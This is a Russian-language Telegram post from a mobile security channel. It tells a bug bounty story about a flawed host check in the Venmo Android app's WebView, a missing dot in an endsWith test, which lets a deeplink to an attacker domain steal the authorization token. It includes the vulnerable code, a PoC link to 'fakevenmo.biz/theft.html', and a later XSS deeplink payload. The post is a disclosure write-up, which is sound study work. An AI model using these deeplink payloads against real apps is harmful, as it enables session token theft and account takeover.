Обложка канала

Mobile AppSec World

Новости из мира безопасности мобильных приложений, а так же интересные статьи, обзоры инструментов, доклады, митапы и многое другое.

Mobile AppSec World

4 года назад
Открыть в
#offzone1 Наливайте чай, устраивайтесь поудобнее. Расскажу вам сказ, о том как нашёл уязвимость в мобильном приложении от PayPal https://hackerone.com/paypal?type=team А именно речь пойдёт об их активе com.venmo В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость. Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview. Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView. Естественно можно было отправить url прямо в класс через deeplink venmo://webview?url=https://www.google.com/ Вот только там была проверка хоста. — Возможно она реализована неверно. Подумал я вслух. А код проверки был следующим:
public static boolean isSecureVenmoHostUrl(Uri uri) {
        boolean z = false;
        if (uri == null) {
            return false;
        }
        String host = uri.getHost();
        String scheme = uri.getScheme();
        if (host != null && scheme != null 
&& scheme.equalsIgnoreCase(BuildConfig.SCHEME) 
&& (host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith("venmo.biz"))) 
{
            z = true;
        }
        return z;
    }
Вам даётся 5 секунд, на то чтобы найти ошибку. 5 4 Верно, здесь забыли добавить точку host.endsWith("venmo.biz") Недолго думая, я решил организовать PoC и проверить: <a href="venmo://webview?url=https://fakevenmo.biz/theft.html">PoC Intent Send</a> К моему удивлению, url был успешно загружен и мне удалось украсть Authorization токен. Радостный (конечно, ведь баунти 10к$) начал писать отчёт на hackerone. Потирая руки, приговаривая: — Триагер приди, триагер приди Триагер пришёл. Поставил Triage. Ура! А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940 . Моему негодованию не было предела. Чтож поздравляю @bagipro хорошо поймал! Естественно, я следил за дальнейшими обновлениями приложения. И к моему счастью (конечно, ведь баунти 10к$), обнаружил что отчёт #401940 помечен как resolved, а ошибка всё ещё осталась в приложении! Быстро сев за клавиатуру, я начал пилить репорт. На следующий день триагер ставит мне дубликат. Как же так? Поставив ультиматум с просьбой добавить меня в отчёт — Закинули сюда #450832. Чтож поздравляю @bagipro хорошо поймал (снова)! Я пытался оспорить решение о том, что мой отчёт — дубликат, ведь мой отчёт был отправлен раньше #450832. Но триагеры были неумолимы. В итоге, смирившись, оставил эту затею. Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix: host.endsWith(".venmo.biz") Верно, они добавили точку. — Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза. Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание. Спустя два года, в мои цепкие лапы попала xss на поддомене .venmo.com Недолго думая, составил deeplink venmo://webview?url=https://legal.venmo.com/index.php?p=<script>alert()<script> Успешно применив знание, я отправил отчёт в PayPal, и заполучил заслуженный reward. Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной P.S. история является реальной, все совпадения не случайны